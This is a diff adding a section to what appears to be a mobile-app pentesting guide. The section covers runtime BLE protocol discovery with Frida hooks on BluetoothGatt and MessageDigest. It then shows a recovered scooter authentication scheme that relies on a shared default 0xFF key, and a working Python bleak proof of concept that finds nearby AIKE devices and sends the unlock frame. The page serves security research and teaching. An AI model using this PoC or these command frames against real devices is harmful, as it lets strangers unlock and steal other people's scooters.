@@ -186,6 +186,90 @@ make-apk-accept-ca-certificate.md
186186frida-tutorial/objection-tutorial.md
187187{{#endref}}
188188
189+ ### Runtime GATT protocol discovery with Frida (Hermes-friendly)
190+
191+ When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. ` android.bluetooth.BluetoothGatt ` and ` BluetoothGattCallback ` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source.
192+
193+ <details >
194+ <summary >Frida GATT logger (UUID + hex/ASCII dumps)</summary >
195+
196+ ``` js
197+ Java .perform (function () {
198+ function b2h (b ) { return Array .from (b || [], x => (' 0' + (x & 0xff ).toString (16 )).slice (- 2 )).join (' ' ); }
199+ function b2a (b ) { return String .fromCharCode .apply (null , b || []).replace (/ [^ \x20 -\x7e ] / g , ' .' ); }
200+ var G = Java .use (' android.bluetooth.BluetoothGatt' );
201+ var Cb = Java .use (' android.bluetooth.BluetoothGattCallback' );
202+
203+ G .writeCharacteristic .overload (' android.bluetooth.BluetoothGattCharacteristic' ).implementation = function (c ) {
204+ console .log (` \n >>> WRITE ${ c .getUuid ()} ` ); console .log (b2h (c .getValue ())); console .log (b2a (c .getValue ()));
205+ return this .writeCharacteristic (c);
206+ };
207+ G .writeCharacteristic .overload (' android.bluetooth.BluetoothGattCharacteristic' ,' [B' ,' int' ).implementation = function (c ,v ,t ) {
208+ console .log (` \n >>> WRITE ${ c .getUuid ()} (type ${ t} )` ); console .log (b2h (v)); console .log (b2a (v));
209+ return this .writeCharacteristic (c,v,t);
210+ };
211+ Cb .onConnectionStateChange .overload (' android.bluetooth.BluetoothGatt' ,' int' ,' int' ).implementation = function (g ,s ,n ) {
212+ console .log (` *** STATE ${ n} (status ${ s} )` ); return this .onConnectionStateChange (g,s,n);
213+ };
214+ Cb .onCharacteristicRead .overload (' android.bluetooth.BluetoothGatt' ,' android.bluetooth.BluetoothGattCharacteristic' ,' int' ).implementation = function (g ,c ,s ) {
215+ var v= c .getValue (); console .log (` \n <<< READ ${ c .getUuid ()} status ${ s} ` ); console .log (b2h (v)); console .log (b2a (v));
216+ return this .onCharacteristicRead (g,c,s);
217+ };
218+ Cb .onCharacteristicChanged .overload (' android.bluetooth.BluetoothGatt' ,' android.bluetooth.BluetoothGattCharacteristic' ).implementation = function (g ,c ) {
219+ var v= c .getValue (); console .log (` \n <<< NOTIFY ${ c .getUuid ()} ` ); console .log (b2h (v));
220+ return this .onCharacteristicChanged (g,c);
221+ };
222+ });
223+ ```
224+ </details >
225+
226+ Hook ` java.security.MessageDigest ` to fingerprint hash-based handshakes and capture the exact input concatenation:
227+
228+ <details >
229+ <summary >Frida MessageDigest tracer (algorithm, input, output)</summary >
230+
231+ ``` js
232+ Java .perform (function () {
233+ var MD = Java .use (' java.security.MessageDigest' );
234+ MD .getInstance .overload (' java.lang.String' ).implementation = function (alg ) { console .log (` \n [HASH] ${ alg} ` ); return this .getInstance (alg); };
235+ MD .update .overload (' [B' ).implementation = function (i ) { console .log (' [HASH] update ' + i .length + ' bytes' ); return this .update (i); };
236+ MD .digest .overload ().implementation = function () { var r= this .digest (); console .log (' [HASH] digest -> ' + r .length + ' bytes' ); return r; };
237+ MD .digest .overload (' [B' ).implementation = function (i ) { console .log (' [HASH] digest(' + i .length + ' )' ); return this .digest (i); };
238+ });
239+ ```
240+ </details >
241+
242+ A real-world BLE flow recovered this way:
243+ - Read challenge from ` 00002556-1212-efde-1523-785feabcd123 ` .
244+ - Compute ` response = SHA1(challenge || key) ` where the ** key was a 20-byte default of 0xFF** provisioned across all devices.
245+ - Write the response to ` 00002557-1212-efde-1523-785feabcd123 ` , then issue commands on ` 0000155f-1212-efde-1523-785feabcd123 ` .
246+
247+ Once authenticated, commands were 10-byte frames to ` ...155f... ` (` [0]=0x00 ` , ` [1]=registry 0xD4 ` , ` [3]=cmd id ` , ` [7]=param ` ). Examples: unlock ` 00 D4 00 01 00 00 00 00 00 00 ` , lock ` ...02... ` , eco-mode on ` ...03...01... ` , open battery ` ...04... ` . Notifications arrived on ` 0000155e-1212-efde-1523-785feabcd123 ` (2-byte registry + payload), and registry values could be polled by writing the registry ID to ` 00001564-1212-efde-1523-785feabcd123 ` then reading back from ` ...155f... ` .
248+
249+ With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC:
250+
251+ <details >
252+ <summary >Python (bleak) BLE auth + unlock via default key</summary >
253+
254+ ``` python
255+ import asyncio, hashlib
256+ from bleak import BleakClient, BleakScanner
257+ CHAL = " 00002556-1212-efde-1523-785feabcd123" ; RESP = " 00002557-1212-efde-1523-785feabcd123" ; CMD = " 0000155f-1212-efde-1523-785feabcd123"
258+
259+ def filt (d ,_ ): return d.name and d.name in [" AIKE" ," AIKE_T" ," AIKE_11" ]
260+ async def main ():
261+ dev = await BleakScanner.find_device_by_filter(filt, timeout = 10.0 )
262+ if not dev: return
263+ async with BleakClient(dev.address) as c:
264+ chal = await c.read_gatt_char(CHAL )
265+ resp = hashlib.sha1(chal + b ' \xff ' * 20 ).digest()
266+ await c.write_gatt_char(RESP , resp, response = False )
267+ await c.write_gatt_char(CMD , bytes .fromhex(' 00 d4 00 01 00 00 00 00 00 00' ), response = False )
268+ await asyncio.sleep(0.5 )
269+ asyncio.run(main())
270+ ```
271+ </details >
272+
189273## Recent issues in popular RN libraries (what to look for)
190274
191275When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in ` package.json ` /` yarn.lock ` .
@@ -206,7 +290,8 @@ grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/nu
206290- [ https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7 ] ( https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7 )
207291- [ https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications ] ( https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications )
208292- [ https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf ] ( https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf )
209- - CVE-2024 -21668: react-native-mmkv logs encryption key on Android, fixed in v2.11.0 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-21668
210- - hbctool (and forks) for Hermes assemble/disassemble: https://github.com/bongtrop/hbctool
293+ - [ CVE-2024 -21668 - react-native-mmkv logs encryption key on Android (NVD)] ( https://nvd.nist.gov/vuln/detail/CVE-2024-21668 )
294+ - [ hbctool (and forks) for Hermes assemble/disassemble] ( https://github.com/bongtrop/hbctool )
295+ - [ Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter] ( https://blog.nns.ee/2026/01/06/aike-ble/ )
211296
212297{{#include ../../banners/hacktricks-training.md}}
0 commit comments